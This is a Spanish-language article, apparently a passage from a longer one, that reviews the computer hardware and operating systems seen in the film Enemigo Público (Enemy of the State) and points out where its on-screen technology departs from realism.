Dean encuentra ayuda en Edward «Brill» Lyle (Gene Hackman), un exanalista de la NSA convertido en un experto en vigilancia que vive en el anonimato. Juntos intentan descubrir la verdad y exponer la conspiración, mientras son perseguidos por la propia NSA. Un papel crucial también lo desempeña el personaje de Daniel Zavitz, interpretado por Jason Lee, un joven investigador que graba accidentalmente el asesinato y termina transmitiendo la evidencia a Dean. El elenco incluye además a Lisa Bonet, Regina King, Jack Black, Barry Pepper, y Seth Green.

Tecnología utilizada

En Enemigo Público, la tecnología juega un papel crucial no solo en la trama sino también en la ambientación de la película. La precisión y el realismo de los equipos informáticos utilizados contribuyen a la atmósfera de paranoia y vigilancia que define la narrativa.

El PC de Daniel Zavitz (Jason Lee)

Jason Lee, en su papel de Daniel Zavitz, utiliza un PC clónico, claramente identificado por el logo de Sun Microsystems en la torre del ordenador. Sin embargo, el sistema operativo que corre en esta máquina es Windows 3.1, una versión que, para 1998, ya estaba obsoleta, habiendo sido lanzada en 1992. Esta elección subraya el hecho de que Zavitz utiliza equipamiento más económico y anticuado, en contraste con la tecnología más avanzada de otros personajes.

Zavitz también utiliza Media Player, un reproductor de video básico integrado en Windows 3.1. Durante la reproducción del archivo de video crucial para la trama, se puede observar que la extensión del archivo es .CAM. Este tipo de archivo podría implicar un video capturado por una cámara, pero también sugiere (por otros fotogramas de la película) que el codec utilizado para comprimir el video podría ser QuickTime, permitiendo una reproducción cruzada entre diferentes sistemas operativos.

Además, Zavitz utiliza un reproductor portátil NEC Turbo Express, un dispositivo de videojuegos portátil de la época. En la película, este dispositivo es empleado de manera innovadora para reproducir y transferir datos, algo poco realista pero que añade dramatismo a la escena. La tarjeta PCMCIA de 200MB que Zavitz utiliza para almacenar el video es otro ejemplo de la tecnología de la época, reflejando la capacidad de almacenamiento portátil antes de la popularización de los dispositivos USB.

El Equipo de Edward «Brill» Lyle (Gene Hackman)

Por su parte, Gene Hackman, en su papel de Brill, maneja un sistema considerablemente más avanzado, utilizando Windows 98. Este sistema operativo, lanzado también en 1998, representaba lo más avanzado en términos de compatibilidad y usabilidad en ese momento, lo que refuerza la imagen de Brill como un experto en tecnología con acceso a mejores recursos.

Aunque en la película no se detalla el hardware específico de Brill, el hecho de que use Windows 98, junto con las capacidades de manipulación y decodificación de video que se muestran, sugiere que tiene acceso a tecnología de alta gama para la época. En una escena clave, se observa cómo Brill decodifica el video utilizando una interfaz gráfica llamativa, diseñada claramente para atraer la atención del espectador, más que para reflejar la realidad de la tecnología disponible en ese momento.

Conclusión

La producción de Enemigo Público es destacable por su atención al detalle en lo referente al equipamiento tecnológico de los personajes. El contraste entre el equipo más antiguo y económico utilizado por Daniel Zavitz (Jason Lee) y el sistema más avanzado de Edward Lyle (Gene Hackman) refleja de manera efectiva el trasfondo de los personajes. Zavitz, como investigador freelance, se maneja con recursos limitados, mientras que Lyle, con su pasado en la NSA y mayor poder adquisitivo, tiene acceso a tecnología más avanzada.

Otro detalle interesante es la diferenciación en el equipamiento dentro de la central de la NSA. Mientras los empleados comunes utilizan monitores CRT, que eran estándar en la época, el personaje de Thomas Reynolds (Jon Voight) dispone de una pantalla plana, lo que subraya su estatus superior dentro de la agencia. Estos detalles de producción contribuyen a la autenticidad y la profundidad visual de la película.

Sin embargo, la película no está exenta de licencias creativas que sacrifican el realismo tecnológico en favor del impacto visual. Un ejemplo claro es cuando un técnico de la NSA, a partir de un fotograma de un vídeo de seguridad, rota la imagen en 3D para simular lo que Zavitz podría haber introducido en la bolsa de Dean. Aunque esta secuencia añade dramatismo, carece de una base tecnológica realista.

Del mismo modo, la escena donde Brill decodifica el vídeo utilizando una interfaz visualmente llamativa es un claro ejemplo de cómo la película opta por elementos más glamurosos para captar la atención del espectador, alejándose de la realidad técnica, donde estos procesos serían mucho menos espectaculares y más funcionales. Además se pueden observar las siguientes curiosidades:

  • Se ve el escritorio de Windows 98 con fondo negro y tres aplicaciones abiertas, QuickTime for Windows, una carpeta y una imagen.
  • Una carpeta abierta con cuatro archivos DIR y nombres que nos hacen creer que uno está encriptado y otro no. Dos archivos de imagen con extensión TIF y dos archivos de vídeo con extensión MOV. Ojo porque DIR es la extensión de proyectos de Adobe Director, ahí lo dejo.
  • La animación muestra el 100% antes que la barra de progreso llegue al final.
  • Una vez decodificado se nos muestra el vídeo pero como se nos mostró anteriormente con el media player de Windows 3.1. Incluso se ve el icono de minimizar típico de Windows 3.1 en la parte superior izquierda (última imagen).

En resumen, Enemigo Público logra un equilibrio eficaz entre el realismo tecnológico y las exigencias dramáticas del cine. A pesar de algunas exageraciones en la representación de la tecnología, la atención al detalle en los aspectos técnicos y la diferenciación de equipos según los personajes y sus circunstancias es un testimonio del buen trabajo de producción que hace que la película siga siendo entretenida, incluso más de dos décadas después de su estreno.